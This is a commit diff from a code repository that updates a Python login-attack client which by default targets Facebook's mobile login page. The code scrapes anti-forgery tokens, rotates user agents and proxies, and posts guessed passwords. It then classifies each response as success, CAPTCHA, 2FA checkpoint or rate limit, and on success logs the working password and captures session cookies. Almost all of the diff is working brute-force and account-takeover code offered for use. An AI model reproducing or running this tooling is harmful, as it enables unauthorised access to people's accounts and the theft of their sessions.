drjones/GOD-CWAK
1
1
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 1 Wiki Activity

Improve UI cohesion, status bar, and core attack reliability

Browse Source
This commit is contained in:
Dr Jones
2026-05-22 17:51:33 -07:00
parent c958a06b96
commit 1152a937f7
13 changed files with 612 additions and 189 deletions
Download Patch File Download Diff File Expand all files Collapse all files

185
src/attack/login_client.py
View File

@@ -4,10 +4,11 @@ Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other si
"""
import logging
import re
import threading
import time
from dataclasses import dataclass, field
from typing import Dict, List, Optional
from urllib.parse import urlparse, urljoin
from typing import Dict, List, Optional, Tuple
from urllib.parse import urlparse
import requests
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
@@ -21,42 +22,52 @@ class SiteConfig:
login_url: str = "https://m.facebook.com/login.php"
base_url: str = "https://m.facebook.com"
# HTML form field names
username_field: str = "email"
password_field: str = "pass"
# Extra static POST fields (e.g. Facebook's login_source)
extra_fields: Dict[str, str] = field(default_factory=lambda: {
"login_source": "comet_headerless",
"login": "Log In",
})
# Token scraping (CSRF)
csrf_field: str = "lsd" # empty string to disable
csrf_field: str = "lsd"
csrf_patterns: List[str] = field(default_factory=lambda: [
r'name="lsd"[^>]*value="([^"]+)"',
r'"lsd"[^}]*?"([^"]+)"',
r'name="fb_dtsg"[^>]*value="([^"]+)"',
r'"fb_dtsg"\s*:\s*"([^"]+)"',
])
# (field_name, regex) — scraped from login page and merged into POST body
token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [
("lsd", r'name="lsd"[^>]*value="([^"]+)"'),
("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'),
("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'),
("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'),
("li", r'name="li"[^>]*value="([^"]+)"'),
])
# Success / failure detection in response body or URL
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"])
success_url_fragments: List[str] = field(default_factory=lambda: [
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
])
failure_url_fragments: List[str] = field(default_factory=lambda: [
"login", "checkpoint", "recover", "two_step",
])
captcha_indicators: List[str] = field(default_factory=lambda: [
"captcha", "security check", "confirm your identity",
"unusual activity", "verify", "prove you",
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
"security check", "confirm your identity",
"unusual activity", "prove you're human", "verify it's you",
])
rate_limit_indicators: List[str] = field(default_factory=lambda: [
"too many", "try again later", "rate limit",
"too many", "try again later", "rate limit", "temporarily blocked",
])
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
"incorrect", "wrong password", "invalid", "didn't match",
"password you entered", "not match",
"password you entered", "not match", "login failed",
])
@classmethod
def for_url(cls, url: str) -> "SiteConfig":
"""Build a minimal config for an arbitrary URL (generic form POST)."""
parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}"
return cls(
@@ -64,9 +75,10 @@ class SiteConfig:
base_url=base,
extra_fields={},
csrf_field="",
token_patterns=[],
success_cookies=[],
success_url_fragments=[],
failure_url_fragments=["login", "signin", "auth"],
failure_url_fragments=["login", "signin", "auth", "error"],
)
@@ -82,53 +94,64 @@ class LoginResult:
class LoginClient:
"""
Generic HTML-form login client.
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
"""
"""Generic HTML-form login client with thread-local HTTP sessions."""
def __init__(
self,
site_config: Optional[SiteConfig] = None,
request_timeout: int = 20,
):
self.site = site_config or SiteConfig()
self.site = site_config or SiteConfig()
self.request_timeout = request_timeout
self.session = requests.Session()
self.session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
self._local = threading.local()
def reconfigure(self, site_config: SiteConfig):
self.site = site_config
self.session.cookies.clear()
session = getattr(self._local, "session", None)
if session is not None:
session.cookies.clear()
# ── CSRF helper ───────────────────────────────────────────────────────────
def _get_session(self) -> requests.Session:
session = getattr(self._local, "session", None)
if session is None:
session = requests.Session()
session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
self._local.session = session
return session
def _get_csrf_token(self, proxies: Dict) -> str:
if not self.site.csrf_field:
return ""
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
if not self.site.token_patterns and not self.site.csrf_patterns:
return {}
tokens: Dict[str, str] = {}
try:
ua = get_random_mobile_ua()
resp = self.session.get(
session = self._get_session()
resp = session.get(
self.site.login_url,
proxies=proxies,
headers={"User-Agent": ua},
timeout=self.request_timeout,
)
for pattern in self.site.csrf_patterns:
m = re.search(pattern, resp.text)
html = resp.text
for field_name, pattern in self.site.token_patterns:
m = re.search(pattern, html)
if m:
return m.group(1)
tokens[field_name] = m.group(1)
if not tokens and self.site.csrf_field:
for pattern in self.site.csrf_patterns:
m = re.search(pattern, html)
if m:
tokens[self.site.csrf_field] = m.group(1)
break
except Exception as e:
logger.debug(f"CSRF token fetch failed: {e}")
return ""
# ── Core attempt ─────────────────────────────────────────────────────────
logger.debug(f"Form token fetch failed: {e}")
return tokens
def attempt_login(
self,
@@ -136,19 +159,19 @@ class LoginClient:
password: str,
proxy_string: Optional[str] = None,
) -> LoginResult:
start = time.time()
start = time.time()
proxies = self._build_proxies(proxy_string)
ua = get_random_facebook_ua()
ua = get_random_facebook_ua()
session = self._get_session()
try:
csrf = self._get_csrf_token(proxies)
tokens = self._get_form_tokens(proxies)
payload: Dict[str, str] = {
self.site.username_field: username,
self.site.password_field: password,
}
if self.site.csrf_field and csrf:
payload[self.site.csrf_field] = csrf
payload.update(tokens)
payload.update(self.site.extra_fields)
headers = {
@@ -159,7 +182,7 @@ class LoginClient:
"Cache-Control": "max-age=0",
}
resp = self.session.post(
resp = session.post(
self.site.login_url,
data=payload,
proxies=proxies,
@@ -168,7 +191,7 @@ class LoginClient:
allow_redirects=True,
)
elapsed = (time.time() - start) * 1000
return self._analyse(resp, password, elapsed)
return self._analyse(resp, password, elapsed, session)
except requests.ConnectTimeout:
return LoginResult(False, 0, _ms(start), "Connection timeout")
@@ -179,40 +202,64 @@ class LoginClient:
except Exception as e:
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
url = resp.url.lower()
def _analyse(
self,
resp: requests.Response,
password: str,
elapsed: float,
session: requests.Session,
) -> LoginResult:
url = resp.url.lower()
text = resp.text.lower()
code = resp.status_code
# ── Captcha check first ───────────────────────────────────────────
# Session cookies (including redirects)
all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()}
if "checkpoint" in url or "two_step" in url:
return LoginResult(
False, code, round(elapsed, 1),
"Checkpoint / 2FA — manual step required",
cookies=all_cookies,
redirect_url=resp.url,
)
if any(kw in text for kw in self.site.captcha_indicators):
return LoginResult(False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True)
return LoginResult(
False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True,
)
# ── Cookie-based success ──────────────────────────────────────────
for cookie in self.site.success_cookies:
if cookie in resp.cookies:
if cookie in all_cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
return LoginResult(True, code, round(elapsed, 1),
"Login successful!",
cookies=dict(resp.cookies),
redirect_url=resp.url)
return LoginResult(
True, code, round(elapsed, 1),
"Login successful!",
cookies=all_cookies,
redirect_url=resp.url,
)
# ── URL-redirect success ──────────────────────────────────────────
failed_frag = any(f in url for f in self.site.failure_url_fragments)
if not failed_frag and code == 200:
if not failed_frag and code in (200, 302):
if any(f in url for f in self.site.success_url_fragments):
logger.info(f"Possible SUCCESS via redirect to: {url}")
return LoginResult(True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}",
cookies=dict(resp.cookies),
redirect_url=resp.url)
return LoginResult(
True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}",
cookies=all_cookies,
redirect_url=resp.url,
)
if "facebook.com" in url and "login" not in url:
return LoginResult(
True, code, round(elapsed, 1),
"Login successful (URL redirect)",
cookies=all_cookies,
redirect_url=resp.url,
)
# ── Rate-limit ────────────────────────────────────────────────────
if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
# ── Wrong password ────────────────────────────────────────────────
if any(kw in text for kw in self.site.wrong_pass_indicators):
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")